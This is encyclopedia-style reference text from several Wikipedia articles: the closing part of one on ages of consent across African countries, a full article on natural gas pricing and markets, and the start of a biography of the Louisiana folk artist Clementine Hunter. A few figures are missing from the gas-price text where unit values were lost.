The legal age for marriage is 18, and Art. 484 of the Penal Code provides harsher penalties (2–5 years) for committing sexual acts without violence on a victim younger than 18.
Mozambique
The age of consent is 16 regardless of sexual orientation and/or gender.
Namibia
The age of consent is 16 for girls.
'Sexual offences with girls under sixteen (16) years', Section 14 of the 'Combating of Immoral Practices Act 1980'
'(1) Any male who
a) has or attempts to have unlawful carnal intercourse with a girl under the age of sixteen (16) years; or
b) commits or attempts to commit with such a girl an immoral or indecent act;
c) solicits or entices such a girl to the commission of an immoral or indecent act, -shall be guilty of an offence and liable on conviction to imprisonment for a period not exceeding six years with or without a fine not exceeding three thousand rand in addition to such imprisonment.
(2) It shall be a sufficient defence to any charge in terms of this section if it appears to the court:
a) that the girl at the time of the commission of the offence was a prostitute, that the person so charged was at the said time under the age of twenty-one (21) years and that it is the first occasion on which he is so charged; or
b) that the person who charged was at the said time under the age of sixteen (16) years; and
c) that the girl or person in whose charge she was, deceived the person so charged into believing that she was over the age of sixteen (16) years at the said time.'
Niger
In Niger, the age of consent is set at 13 years for heterosexuals and 21 years for homosexuals.
This is specified by Article 278 and Article 282 of the country's penal code.
Article 293 prohibits anyone from "habitually arousing, favoring, or facilitating the debauchery or corruption of the youth of either sex under 21 years". This article is listed along with other articles relating to prostitution offenses, and it is unclear what circumstances would be considered "debauchery".
Nigeria
The age of consent is 18 as established by the Child's Rights Act of 2003.
Homosexuality is illegal.
Republic of the Congo
The age of consent in the Republic of the Congo is 18 regardless of sexual orientation and/or gender. Sex with a minor is punishable by up to 5 years in prison and a fine of 10,000,000 CFA.
Rwanda
The age of consent in Rwanda is 18 years, regardless of sexual orientation and/or gender.
Sahrawi Arab Democratic Republic
The age of consent in the Sahrawi Arab Democratic Republic is 13 regardless of sexual orientation and/or gender.
São Tomé and Príncipe
The age of consent in São Tomé and Príncipe is 14 years, regardless of sexual orientation and/or gender.
This is specified in article 175 of the Penal Code. Article 177 prohibits sexual activity with 14- and 15-year-olds if access is gained by "abusing his/her inexperience", while Article 178 establishes the age of consent for homosexual sex to be 16.
Senegal
The age of consent in Senegal is 16 (Article 320 deals with children under 16; Article 319 deals with children under 13). Homosexual sex is illegal.
Seychelles
The age of consent is 15 regardless of gender. The legislation reads as follows:
CHAPTER XV – Offences Against Morality
Sexual assault
130. (1) A person who sexually assaults another person is guilty of an offence and liable to imprisonment for 20 years:
Provided that where the victim of such assault is under the age of 15 years and the accused is of or above the age of 18 years and such assault falls under subsection (2)(c) or (d), the person shall be liable to imprisonment for a term not less than 14 years and not more than 20 years:
Provided also that if the person is convicted of a similar offence within a period of 10 years from the date of the first conviction the person shall be liable to imprisonment for a period not less than 28 years:
Provided further that where it is the second or a subsequent conviction of the person for an assault referred to in subsection (2)(d) on a victim under 15 years within a period of ten years from the date of the conviction, the person shall be liable to imprisonment for life.
(2) For the purposes of this section "sexual assault" includes:
(a) an indecent assault;
(b) the non-accidental touching of the sexual organ of another;
(c) the non-accidental touching of another with one's sexual organ, or
(d) the penetration of a body orifice of another for a sexual purpose.
(3) A person does not consent to an act which if done without consent constitutes an assault under this section if-
(a) the person's consent was obtained by misrepresentation as to the character of the act of the identity of the person doing the act;
(b) the person is below the age of fifteen years; or
(c) the person's understanding and knowledge are such that the person was incapable of giving consent.
Sexual interference with a child
135. (1) A person who commits an act of indecency towards another person who is under the age of fifteen years is guilty of an offence and liable to imprisonment for 20 years:
...(2) A person is not guilty of an offence under this section if at the time of the offence the victim of the act of indecency was-
(a) fourteen years old or older and the accused had reasonable ground to believe that the victim was over fifteen years old; or
(b) the spouse of the accused.
Section 135 amended by Act 5 of 2012 with effect from 6 August 2012.
According to the U.S. State Department, the Seychelles age of consent is "traditionally understood" to be 15 but that the country's statutes "fail to clearly define the ages of consent and legal majority"; according to the State Department this causes confusion in regards to the "traditionally understood" age of consent and the age of majority of 18 and therefore complicates enforcement of the law.
Sierra Leone
The age of consent is 18 regardless of sexual orientation and/or gender, under the Sexual Offenses Act 2012.
Somalia
Article 29 of the national constitution of Somalia defines a child as any individual under the age of 18, and stipulates that "every child has the right to be protected from mistreatment, neglect, abuse, or degradation. Homosexual sex is illegal.
The Sexual Offenses Bill (2018) amended the existing penal code and established the age of consent to be 18 years.
South Africa
The age of consent in South Africa is 16 regardless of sexual orientation and/or gender, as specified by sections 15 and 16 of the Criminal Law (Sexual Offences and Related Matters) Amendment Act, 2007. Section 15 ("statutory rape") prohibits the commission of "an act of sexual penetration with a child who is 12 years of age or older but under the age of 16 years", while section 16 ("statutory sexual assault") prohibits the commission of "an act of sexual violation with a child who is 12 years of age or older but under the age of 16 years". The law includes a close-in-age exception, so that sexual acts between two children where both are between 12 and 16, or where one is under 16 and the other is less than two years older, are not criminal. Children under the age of 12 are conclusively presumed by the law to be incapable of consenting, so a sexual act with a child under that age constitutes rape or sexual assault.
History
Under the Roman-Dutch common law there was a conclusive presumption that girls under the age of 12 were unable to consent to sexual intercourse. This presumption can be traced back to the "old authorities" of the seventeenth century.
The Girls' and Mentally Defective Women's Protection Act, 1916, which replaced the differing age of consent laws of the four colonies that formed the Union of South Africa, criminalised sexual intercourse between a man and a girl under the age of sixteen unless they were married. This act was replaced by a similar prohibition in section 14 of the Immorality Act, 1957. Although sex between men was already illegal, prohibited by the common law as "sodomy" or "unnatural sexual acts", the Immorality Act also criminalised sexual intercourse between a man and a boy under sixteen.
The Immorality Amendment Act, 1969, which was enacted in response to a national moral panic over homosexuality, raised to 19 the age below which the Immorality Act prohibited sex between males. The Immorality Amendment Act, 1988 inserted mirror provisions applying to women, prohibiting intercourse between a woman and a boy under 16 or a girl under 19. It also renamed the Immorality Act to the Sexual Offences Act, 1957.
The Interim Constitution, which came into force in 1994, prohibited discrimination on the basis of sexual orientation, as does the final Constitution which replaced in 1997. As a result, the Constitutional Court struck down the laws prohibiting homosexual sex in the 1998 case of National Coalition for Gay and Lesbian Equality v Minister of Justice. That case did not, however, address the difference between the heterosexual and homosexual ages of consent in section 14 of the Sexual Offences Act.
In the Criminal Law (Sexual Offences and Related Matters) Amendment Act, 2007, Parliament reformed and codified the law on sexual offences and made it gender-neutral. The common-law presumption relating to girls under 12 was replaced by a general presumption that children under 12 cannot consent. The act also fixed the age of consent at 16 for all sexual acts. In the 2008 case of Geldenhuys v National Director of Public Prosecutions, the Constitutional Court held that the former difference in the ages of consent had been unconstitutional.
South Sudan
The age of consent in South Sudan is 18.
Spanish territories
The age of consent in the Canary Islands, Ceuta, Melilla and the plazas de soberanía'' is 16 regardless of sexual orientation and/or gender, as of 1 July 2015, as they are under Spanish sovereignty.
Saint Helena, Ascension and Tristan da Cunha (United Kingdom)
Age of sexual consent is 16, regardless of sexual orientation and/or gender.
Sudan
Sexual intercourse outside of marriage is against the law in Sudan.
Tanzania
The age of consent is 18 in Tanzania, as specified in article 130 of the penal code.
Togo
As of the 2015 penal code, the age of consent in Togo is considered to be 15.
Art. 224: paedophilia is any sexual intercourse or touching, of any kind, committed by a person over the age of majority, without fraud, threats, coercion or violence, against a child under the age of fifteen (15) years, or any exhibition or exploitation for commercial or tourist purposes of photographs, images and sound obtained by any technical process, pornographic films or drawings depicting one or more children under the age of fifteen (15) years.
Article 389 increases the penalties for indecent assault when committed against a child, but does not specify any particular age at which consent is negated.
Art. 389: anyone guilty of indecent assault shall be punished by imprisonment of one (1) to three (3) years and a fine of one million (1,000,000) to three million (3,000,000) CFA francs or both.
Indecent assault on a child shall be punishable by a term of imprisonment of between three (3) and five (5) years and a fine of between three million and five million CFA francs. If the indecent assault was committed with violence or threats against the person of a child, the penalties are five (5) to ten (10) years of rigorous imprisonment and a fine of two million (2 million) to ten million (10 million) CFA francs
Tunisia
The age of consent in Tunisia is 18Law 58 (the elimination of violence against women), which came into effect in 2018, raised the age threshold for rape charges under penal code article 227 from 13 to 16 years. A child younger than 16 is considered automatically incapable of consent.
However, Article 227 bis was also amended, and now prescribes 5 years' imprisonment for a sexual act committed on a minor between 16 and 18 years of age (whereas it previously applied to anyone aged 15–20).
Consent does not appear to be a defense; the punishment is simply reduced if the minor is at least 16 years of age.
Article 230 criminalizes sodomy.
Uganda
The age of consent in Uganda is 18 years, for vaginal intercourse. "Heterosexual sodomy" (anal and/or oral sex with an opposite-sex partner) and all same-sex sexual conduct are illegal.
Zambia
The age of consent for intercourse ("carnal knowledge") is 16, per article 138 of the penal code.
Article 137 reads in part as follows:
Zimbabwe
The age of consent in Zimbabwe is 18'''. It was raised in 2022 from a previous age of 16, which had in turn been raised from 12.
All male same-sex hand-holding and/or male same-sex sexual conduct can lead to one year's imprisonment. Same-sex hand-holding is illegal.
Article 70 of the penal code (Sexual intercourse or performing indecent acts with young persons), in combination with article 61 which defines “young person” as “boy or girl under the age of sixteen years”. Article 64 specifies that if the victim is under 12 years old the charge shall be rape. In May 2022, the Constitutional Court struck down the provision setting the age of consent at 16, and set the new and current age of consent at 18.
See also
Age of consent reform
Age of consent
Ages of consent in Asia
Ages of consent in Europe
Ages of consent in North America
Ages of consent in Oceania
Ages of consent in South America
Comprehensive sex education
LGBT rights in Africa
Sex education
References
Adolescent sexuality in Africa
Africa
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https://en.wikipedia.org/wiki/Natural%20gas%20prices
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Natural gas prices
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Natural gas prices, as with other commodity prices, are mainly driven by supply and demand fundamentals. However, natural gas prices may also be linked to the price of crude oil and petroleum products, especially in continental Europe. Natural gas prices in the US had historically followed oil prices, but in the recent years, it has decoupled from oil and is now trending somewhat with coal prices.
The price as at 20 January 2022, on the U.S. Henry Hub index, is US. The highest peak (weekly price) was US in January 2005.
The 2012 surge in fracking oil and gas in the U.S. resulted in lower gas prices in the U.S. This has led to discussions in Asian oil-linked gas markets to import gas based on the Henry Hub index, which was, until very recently, the most widely used reference for US natural gas prices.
Depending on the marketplace, the price of natural gas is often expressed in currency units per volume or currency units per energy content. For example, US dollars or other currency per million British thermal units, thousand cubic feet, or 1,000 cubic meters. Note that, for natural gas price comparisons$, per million Btu multiplied by 1.025 = $ per Mcf of pipeline-quality gas, which is what is delivered to consumers. For rough comparisons, one million Btu is approximately equal to a thousand cubic feet of natural gas. Pipeline-quality gas has an energy value slightly higher than that of pure methane, which has . Natural gas as it comes out of the ground is most often predominantly methane, but may have a wide range of energy values, from much lower (due to dilution by non-hydrocarbon gases) to much higher (due to the presence of ethane, propane, and heavier compounds) than standard pipeline-quality gas.
U.S. market mechanisms
The natural gas market in the United States is split between the financial (futures) market, based on the NYMEX futures contract, and the physical market, the price paid for actual deliveries of natural gas and individual delivery points around the United States. Market mechanisms in Europe and other parts of the world are similar, but not as well developed or complex as in the United States.
Futures market
The standardized NYMEX natural gas futures contract is for delivery of 10,000 million Btu of energy (approximately of gas) at Henry Hub in Louisiana over a given delivery month consisting of a varying number of days. As a coarse approximation, 1000 cu ft of natural gas ≈ 1 million Btu ≈ 1 GJ. Monthly contracts expire 3–5 days in advance of the first day of the delivery month, at which points traders may either settle their positions financially with other traders in the market (if they have not done so already) or choose to "go physical" and accept delivery of physical natural gas (which is actually quite rare in the financial market).
Most financial transactions for natural gas actually take place off exchange in the over-the-counter (OTC) markets using "look-alike" contracts that match the general terms and characteristics of the NYMEX futures contract and settle against the final NYMEX contract value, but that are not subject to the regulations and market rules required on the actual exchange.
It is also important to note that nearly all participants in the financial gas market, whether on or off exchange, participate solely as a financial exercise in order to profit from the net cash flows that occur when financial contracts are settled among counterparties at the expiration of a trading contract. This practice allows for the hedging of financial exposure to transactions in the physical market by allowing physical suppliers and users of natural gas to net their gains in the financial market against the cost of their physical transactions that will occur later on. It also allows individuals and organizations with no need or exposure to large quantities of physical natural gas to participate in the natural gas market for the sole purpose of gaining from trading activities.
Physical market
Generally speaking, physical prices at the beginning of any calendar month at any particular delivery location are based on the final settled forward financial price for a given delivery period, plus the settled "basis" value for that location (see below). Once a forward contract period has expired, gas is then traded daily in a "day ahead market" wherein prices for any particular day (or occasional 2-3-day period when weekends and holidays are involved) are determined on the preceding day by traders using localized supply and demand conditions, in particular weather forecasts, at a particular delivery location. The average of all of the individual daily markets in a given month is then referred to as the "index" price for that month at that particular location, and it is not uncommon for the index price for a particular month to vary greatly from the settled futures price (plus basis) from a month earlier.
Many market participants, especially those transacting in gas at the wellhead stage, then add or subtract a small amount to the nearest physical market price to arrive at their ultimate final transaction price.
Once a particular day's gas obligations are finalized in the day-ahead market, traders (or more commonly lower-level personnel in the organization known as, "schedulers") will work together with counterparties and pipeline representatives to "schedule" the flows of gas into ("injections") and out of ("withdrawals") individual pipelines and meters. Because, in general, injections must equal withdrawals (i.e. the net volume injected and withdrawn on the pipeline should equal zero), pipeline scheduling and regulations are a major driver of trading activities, and quite often the financial penalties inflicted by pipelines onto shippers who violate their terms of service are well in excess of losses a trader may otherwise incur in the market correcting the problem.
Basis market
Because market conditions vary between Henry Hub and the roughly 40 or so physical trading locations around United States, financial traders also usually transact simultaneously in financial "basis" contracts intended to approximate these difference in geography and local market conditions. The rules around these contracts - and the conditions under which they are traded - are nearly identical to those for the underlying gas futures contract.
Derivatives and market instruments
Because the U.S. natural gas market is so large and well developed and has many independent parts, it enables many market participants to transact under complex structures and to use market instruments that are not otherwise available in a simple commodity market where the only transactions available are to purchase or sell the underlying product. For instance, options and other derivative transactions are very common, especially in the OTC market, as are "swap" transactions where participants exchange rights to future cash flows based on underlying index prices or delivery obligations or time periods. Participants use these tools to further hedge their financial exposure to the underlying price of natural gas.
Natural gas demand
The demand for natural gas is mainly driven by the following factors:
Weather
Demographics
Economic growth
Price increases, and poverty
Fuel competition
Storage
Exports
Weather
Weather conditions can significantly affect natural gas demand and supply. Cold temperatures in the winter increase the demand for space heating with natural gas in commercial and residential buildings.
Natural gas demand usually peaks during the coldest months of the year (December–February) and is lowest during the "shoulder" months (May–June and September–October). During the warmest summer months (July–August), demand increases again. Due to the shift in population in the United States toward the sun belt, summer demand for natural gas is rising faster than winter demand.
Temperature effects are measured in terms of 'heating degree days' (HDD) during the winter, and 'cooling degree days' (CDD) during the summer. HDDs are calculated by subtracting the average temperature for a day (in degrees Fahrenheit) from . Thus, if the average temperature for a day is , there are 15 HDDs. If the average temperature is 65 °F, HDD is zero.
Cooling degree days are also measured by the difference between the average temperature (in degrees Fahrenheit) and 65 °F. Thus, if the average temperature is , there are 15 CDDs. If the average temperature is 65 °F, CDD is zero.
Hurricanes can affect both the supply of and demand for natural gas. For example, as hurricanes approach the Gulf of Mexico, offshore natural gas platforms are shut down as workers evacuate, thereby shutting in production. In addition, hurricanes can also cause severe destruction to offshore (and onshore) production facilities. For example, Hurricane Katrina (2005) resulted in massive shut-ins of natural gas production.
Hurricane damage can also reduce natural gas demand. The destruction of power lines interrupting electricity produced by natural gas can result in significant reduction in demand for a given area (e.g., Florida).
Demographics
Changing demographics also affects the demand for natural gas, especially for core residential customers. In the US for instance, recent demographic trends indicate an increased population movement to the Southern and Western states. These areas are generally characterized by warmer weather, thus we could expect a decrease in demand for heating in the winter, but an increase in demand for cooling in the summer. As electricity currently supplies most of the cooling energy requirements, and natural gas supplies most of the energy used for heating, population movement may decrease the demand for natural gas for these customers. However, as more power plants are fueled by natural gas, natural gas demand could in fact increase.
Economic growth
The state of the economy can have a considerable effect on the demand for natural gas in the short term. This is particularly true for industrial and to a lesser extent the commercial customers. When the economy is booming, output from the industrial sectors generally increases. On the other hand, when the economy is experiencing a recession, output from industrial sectors drops. These fluctuations in industrial output accompanying the economy affects the amount of natural gas needed by these industrial users. For instance, during the economic recession of 2001, U.S. natural gas consumption by the industrial sector fell by 6 percent.
Price increases, and poverty
Tariff increases and levels of household income also influence the demand for natural gas. A 2016 study assesses the expected poverty and distributional effects of a natural gas price reform – in the context of Armenia; it estimates that a significant tariff increase of about 40% contributed to an estimated 8% of households to substitute natural gas mainly with wood as their source of heating - and it also pushed an estimated 2.8% of households into poverty (i.e. below the national poverty line). This study also outlines the methodological and statistical assumptions and constraints that arise in estimating causal effects of energy reforms on household demand and poverty.
Fuel competition
Supply and demand dynamics in the marketplace determine the short term price for natural gas. However, this can work in reverse as well. The price of natural gas can, for certain consumers, affect its demand. This is particularly true for those consumers who have the ability to switch the fuel which they consume. In general the core customers (residential and commercial) do not have this ability, however, a number of industrial and electric generation consumers have the capacity to switch between fuels. For instance, when natural gas prices are extremely high, electric generators may switch from using natural gas to using cheaper coal or fuel oil. This fuel switching then leads to a decrease for the demand of natural gas, which usually tends to drop its price.
Storage
North American natural gas injections (positive) represent additional demand and compete with alternative uses such as gas for heating or for power generation. Natural gas storage levels significantly affect the commodity's price. When the storage levels are low, a signal is being sent to the market indicating that there is a smaller supply cushion and prices will be rising. On the other hand, when storage levels are high, this sends a signal to the market that there is greater supply flexibility and prices will tend to drop.
Exports
Exports are another source of demand. In North America, gas is exported within its forming countries, Canada, the US and Mexico as well as abroad to countries such as Japan.
Natural gas supply
The supply for natural gas is mainly driven by the following factors:
Pipeline capacity
Storage
Gas drilling rates
Natural phenomena
Technical issues
Imports
Transportation Wholesale Rates
Pipeline capacity
The ability to transport natural gas from the well heads of the producing regions to the consuming regions affects the availability of supply in the marketplace. The interstate and intrastate pipeline infrastructure has limited capacity and can only transport so much natural gas at any one time. This has the effect of limiting the maximum amount of natural gas that can reach the market. The current pipeline infrastructure is quite developed, with the EIA estimating that the daily delivery capacity of the grid is . However, natural gas pipeline companies should continue to expand the pipeline infrastructure in order to meet growing future demand.
The coming addition of the Canadian Pipeline looks to provide additional resources for the North American populace.
Storage
As natural gas injections (positive) represent additional demand, withdrawals (negative) represent an additional source of supply which can be accessed quickly. The more storage banks like shale deposits used give more cushion for the natural gas markets.
Gas drilling rates
The amount of natural gas produced both from associated and non-associated sources can be controlled to some extent by the producers. The drilling rates and gas prices form a feedback loop. When supply is low relative to demand, prices rise; this gives a market signal to the producer to increase the number of rigs drilling for natural gas. The increased supply will then lead to a decrease in the price.
Natural phenomena
Natural phenomena can significantly affect natural gas production and thus supply. Hurricanes, for example, can affect the offshore production and exploitation of natural gas. This is because safety requirements may mandate the temporary shut down of offshore production platforms. Tornadoes can have a similar effect on onshore production facilities.
Technical Issues
Equipment malfunction, although not frequent, could temporarily disrupt the flow across a given pipeline at an important market center. This would ultimately decrease the supply available in that market. On the other hand, technical developments in engineering methods can lead to more abundant supply.
Imports
Imports are a source of supply. In North America, gas is imported from several countries, Canada and the US as well as abroad in the form of LNG from countries such as Trinidad, Algeria and Nigeria.
Trends in natural gas prices
The chart shows a 75-year history of annual United States natural gas production and average wellhead prices from 1930 through 2005. Prices paid by consumers were increased above those levels by processing and distribution costs. Production is shown in billions of cubic meters per year, and average wellhead pricing is shown in United States dollars per thousand cubic meters, adjusted to spring, 2006, by the U.S. Consumer Price Index.
Through the 1960s the U.S. was self-sufficient in natural gas and wasted large parts of its withdrawals by venting and flaring. Gas flares were common sights in oilfields and at refineries. U.S. natural gas prices were relatively stable at around (2006 US) $30/Mcm in both the 1930s and the 1960s. Prices reached a low of around (2006 US) $17/Mcm in the late 1940s, when more than 20 percent of the natural gas being withdrawn from U.S. reserves was vented or flared.
Beginning in 1954, the Federal Power Commission regulated the price of US natural gas transported across state lines. The commission set the price of gas below the market rate, resulting in price distortions. The low prices encouraged consumption and discouraged production. By the 1970s, there were shortages of price-regulated interstate gas, while unregulated gas within the gas-producing states (intrastate gas) was plentiful, but more expensive. By 1975, nearly half the marketed gas in the US was sold to the intrastate market, resulting in shortages during 1976 and 1977 in the Midwest that caused factories and schools to close temporarily for lack of natural gas. The federal government progressively deregulated the price of natural gas starting in 1978, and ending with complete federal price deregulation in 1993.
While supply interruptions have caused repeated spikes in pricing since 1990, longer range price trends respond to limitations in resources and their rates of development. As of 2006 the U.S. Interior Department estimated that the Outer Continental Shelf of the United States held more than 15 trillion cubic meters of recoverable natural gas, equivalent to about 25 years of domestic consumption at present rates. Total U.S. natural gas reserves were then estimated at 30 to 50 trillion cubic meters, or about 40 to 70 years consumption.
The new technologies of hydraulic fracturing and horizontal drilling have increased these estimates of recoverable reserves to many hundreds of trillion cubic feet. Hydraulic fracturing has reduced the Henry Hub spot price of natural gas considerably since 2008. The increased shale gas production leads to a shift of supply away from the south to the northeast and midwest of the country. A recent study found that, on average, natural gas prices have gone down by more than 30% in counties above shale deposits compared to the rest of the US, highlighting that natural gas markets have become less integrated due to pipeline capacity constraints.
Natural gas prices in Europe
Prices of natural gas for end-consumers vary greatly throughout Europe. One of the main objectives of the projected single EU energy market is a common pricing structure for gas products. A recent study suggests that the expansion of shale gas production in the U.S. has caused prices to drop relative to other countries, especially Europe and Asia, leaving natural gas in the U.S. cheaper by a factor of three. It is expected that the TTIP trade deal between the U.S. and Europe opens up access to cheap American natural gas, which allow Europe to diversify its supply base, but may threaten the Renewable Energy transition.
Currently, Europe's main natural gas supplier is Russia. Major pipelines pass through Ukraine and there have been several disputes on the supply and transition prices between Ukraine and Russia.
In September 2013, it was reported that multiple factors have conspired to cause Europe as a whole to decrease its use of natural gas and make more use of coal. The report also contains updated price trends.
In September 2021, gas prices in Europe reached all-time highs, following a collapse of wind-based power generation on account of low winds. In December 2021, they reached $2000 for 1000 m3 for the first time, corresponding to on the TTF hub in the Netherlands according to the London ICE.
Natural gas prices in South America
In South America, the second largest supplier of natural gas is Bolivia. The price which Bolivia is paid for its natural gas is roughly US to Brazil and to Argentina. Other sources state that Brazil pays between , not including in Petrobras extraction and transportation costs. According to Le Monde, Brazil and Argentina pay US$2 per thousand cubic feet.
Natural Gas prices around the world
See also
Cost of electricity by source
Natural gas storage
Liquified natural gas
Natural-gas processing
Energy economics
Energy crisis
Henry Hub
Helium storage and conservation. Helium is mostly obtained as a byproduct of natural gas. Hence its price is more related to that of gas than helium demand.
References
External links
Energy economics
Natural gas
Natural gas phase-out
Pricing
Late modern economic history
Oil and gas markets
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5074379
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https://en.wikipedia.org/wiki/Clementine%20Hunter
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Clementine Hunter
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Clementine Hunter (pronounced Clementeen; late December 1886 or early January 1887 – January 1, 1988) was a self-taught Black folk artist from the Cane River region of Louisiana, who lived and worked on Melrose Plantation.
Hunter was born into a Louisiana Creole family at Hidden Hill Plantation near Cloutierville, in Natchitoches Parish, Louisiana. She started working as a farm laborer when she was young and never learned to read or write. In her fifties, she began to sell her paintings, which soon gained local and national attention for their complexity in depicting Black Southern life in the early 20th century.
Initially she sold her first paintings for as little as 25 cents. But by the end of her life, her work was being exhibited in museums and sold by dealers for thousands of dollars. Clementine Hunter produced an estimated 5,000 to 10,000 paintings in her lifetime. Hunter was granted an honorary Doctor of Fine Arts degree by Northwestern State University of Louisiana in 1986, and she is the first African-American artist to have a solo exhibition at the present-day New Orleans Museum of Art. In 2013, director Robert Wilson presented a new opera about her, entitled Zinnias: the Life of Clementine Hunter, at Montclair State University in New Jersey.
Early life
Clementine Hunter was born in late December 1886 or early January 1887 at Hidden Hill Plantation, near Cloutierville in Natchitoches Parish, Louisiana. She was the first of seven children born to Janvier Reuben (though Clementine Hunter called him John) and Mary Antoinette Adams. Hunter's siblings were named Maria, Ida, Rosa, Edward, Simon, and John. Hunter's maternal grandmother Idole, an enslaved Black and Native American woman, was born in Virginia and brought to Louisiana. Her maternal grandfather was called Billy Zack Adams. Hunter's paternal grandfather, who was of mixed African, French, and Irish descent, traded horses during the Civil War, but died before she was born. Hunter knew her paternal grandmother well, a Black and Native American woman who she called MéMé (pronounced May–May). Her parents were married on October 15, 1890, in Cloutierville at the town's Catholic church, St. John the Baptist.
She was baptized a Catholic on March 19, 1887, in Cloutierville, and it is known that she was about three months old. Although her exact date of birth is unknown, she said she was born around Christmas. She went by the name Clémence for the first part of her life, was baptized Clementiam and changed her name to Clementine after moving to Melrose Plantation. Her family called her by the nickname Tébé, the French for "little baby," a nickname she carried into adulthood.
Hunter moved at Cloutierville when she was around five years old and sent to St. John the Baptist Catholic Church School. The school was segregated and enforced harsh rules, which Hunter cited as the reason she left school at a young age. She attended school for less than a year, and never formally learned to read or write. Hunter began working in the fields at eight years old, picking cotton alongside her father. Throughout her life she moved around in the Cane River Valley while her father looked for work. At certain points she lived in Robeline, Cypress, and Alexandria. In 1902, around the age of fifteen, Hunter moved to Melrose Plantation.
Hunter's father, Janvier "John" Reuben was hired as a wage laborer by John H. Henry, the current owner of Melrose. Hunter also worked for a wage as an agricultural laborer, harvesting 150 to 200 pounds of cotton a day, making 75 cents. In the fall, she would also harvest pecans, working six days a week for months of the year. While in her teens, Hunter took informal classes at night with other workers at Melrose Plantation. Her mother, Mary Antoinette Reuben, died in 1905 at Melrose.
When Hunter was about twenty in 1907, she give birth to her first child, Joseph Dupree, called Frenchie. Hunter's first partner was Charles Dupree, a Creole man about fifteen years Hunter's senior. Charles is rumored to have built a steam engine with having only seen a picture and was well known for his highly skilled labor. Their second child, Cora, was born a few years later. Charles Dupree and Clementine Hunter never married, and Dupree died in 1914.
In 1924, Clementine married Emmanuel Hunter, a Creole woodchopper at Melrose, who was six years her senior. Until Clementine Hunter married Emmanuel, she spoke only Creole French, and he taught her American English. The two lived together in a workers' cabin at Melrose Plantation and had five children, although two were stillborn. Hunter's children were named Agnes, King, and Mary, although she called Mary "Jackie". On the morning before giving birth to one of her children, she harvested 78 pounds of cotton, went home and called for the midwife. She was back working a few days later.
In the late 1920s, Hunter began working as cook and housekeeper for Cammie Henry, the wife of John H. Henry. She was known for her talent adapting traditional Creole recipes, sewing intricate clothes and dolls, and tending to the house's vegetable garden. Before long, Melrose evolved into a salon for artists and writers in this period, hosted by Cammie Henry. In the late 1930s, Clementine Hunter began to formally paint, using discarded tubes from the visiting artists at Melrose.
In the early 1940s, Hunter's husband Emmanuel became terminally ill and bedridden. She was now the sole financial provider for the family, working full time, while caring for Emmanuel, and painting late at night. Emmanuel died in 1944, leaving Hunter to work and care for her children alone.
During this period in the early 1940s, Hunter adopted Mary Francis LaCour, an eleven-year-old girl whose parents couldn't care for her. Hunter cared for the girl, teaching her how to paint, the two displaying her creations outside of Hunter's home. In her teens, Mary Francis moved to California to live with her father. In 1951, Mary Francis died at less than twenty years old.
Painting career
Hunter has become one of the most well-known self-taught artists. Hunter is described as a memory painter because she documented Black Southern life in the Cane River Valley in the early 20th century. She was entirely self-taught and received almost no formal education, art or otherwise. Although she was first recognized for her painting skills in 1939, Hunter speaks about painting long before then. Her most famous work depicts brightly colored depictions of important events like funerals, baptisms, and weddings and scenes of plantation labor like picking cotton or pecans, and domestic labor. However, Hunter's paintings vary in subject and style, including many abstract paintings and still life paintings of zinnias.
Hunter painted from memory, stating: "I just get it in my mind and I just go ahead and paint but I can't look at nothing and paint. No trees, no nothing. I just make my own tree in my mind, that's the way I paint."
Cammie Henry created an artists' colony after the death of her husband at Melrose Plantation. Numerous artists and writers visited, including Lyle Saxon, Roark Bradford, Alexander Woollcott, Rose Franken, Gwen Bristow, and Richard Avedon. Frequently, the paint and brushes left by New Orleans artist Alberta Kinsey are cited as the first materials Hunter used to paint with on a window shade. However, it's clear from Hunter's textile work that she was producing narrative and expressionist work before painting. Additionally, Hunter's own accounts of her early career contradict the story of Kinsey's influence, Hunter has spoken about painting earlier than 1939.
Hunter began selling paintings after the death of her husband, Emmanuel Hunter. On the outside of the cabin where she lived was a sign that read: "Clementine Hunter, Artist. 25 cents to Look." Clementine Hunter's first shows were in 1945 in Rosenwald Grant, Brownwood, and Waco Texas. In 1949, a show of Hunter's paintings at the New Orleans Arts and Crafts Show garnered attention outside of the Cane River Valley. An article was published about Hunter in Look magazine in June 1953, giving her national exposure.
Hunter gained support from numerous individuals associated with Melrose Plantation, including François Mignon, a friend of Cammie Henry and Clementine Hunter. He supplied her with paint and materials, and promoted her widely. Hunter's paintings were displayed in the local drugstore, where they were sold for one dollar.
In 1956, Hunter and François Mignon coauthored Melrose Plantation Cookbook, featuring photographs of Melrose Plantation, illustrations drawn by Hunter, and recipes. Hunter was skilled at reinterpreting traditional dishes, which were passed down in her family by oral tradition.
Hunter's largest work is a series of murals in the African House at Melrose Plantation. Built the early 19th century by enslaved people at Melrose Plantation, the African House is a Creole hybridization of various African, French, Native American building traditions. However, little is known about its construction and early uses, however it is known that it served as a storehouse and during Cammie Henry's ownership as a residence for artists. In 1949, Clementine Hunter's first show in the Cane River Valley was hosted by Mignon in the upstairs area of the African House. Hunter painted Murals in the Yucca house and the main Melrose Plantation house. In 1955, Hunter and François Mignon collaborated to produce the series of paneled murals that depict the history of the Cane River Valley and reflect the artist's life. The mural consists of nine rectangular panels, each painted in Hunter's home studio. Completed over three months, the murals were finished Hunter was sixty-eight years old.
Hunter's paintings changed throughout her lifetime. Her early work, such as "Cane River Baptism" from 1950, features more earth tones and muted colors. Before the patronage and support from François Mignon and others, Hunter used paint left by visiting artists at Melrose Plantation, therefore she was working within other artists' palettes. Additionally, Hunter would frequently thin out her supply of paint with turpentine, creating more of a watercolor effect, which caused many Hunter scholars to believe she had a watercolor experimental phase. Beginning in the 1950s, her painting style was altered by arthritis in her hands. From this period on, she leaned more towards abstract and impressionist work, with less fine detail, because it was difficult for her to paint. In 1962, her friend James Pipes Register encouraged her to become even more abstract, painting works like Clementine Makes a Quilt. However, by 1964, Hunter returned to more narrative works. In the 1980s, as she approached one hundred years old, she began painting on smaller, more handheld objects like jugs.
In late 1971, sixty of Hunter's paintings were shown at an exhibition at Louisiana State University.
Quiltmaking
Hunter lived in communities of Black sharecroppers and tenant farmers where she learned to sew clothes and household items. Before she began painting, she would sew clothes for family, would make quilts, weave baskets. François Mignon recognized Hunter's talents with fabric and sewing before he saw any of her painted works. On December 19, 1939, Mignon recorded in his journals that Clementine (Mignon called her Clemence) first showed him dolls she created with embroidered features. Additionally, he wrote that she was exceptionally talented at making fringe and can spin cotton. James Register also recorded Clementine Hunter's exceptional skill at making fringe in an article in the Natchitoches Times in 1972. She could also make hand-tied lace curtains.
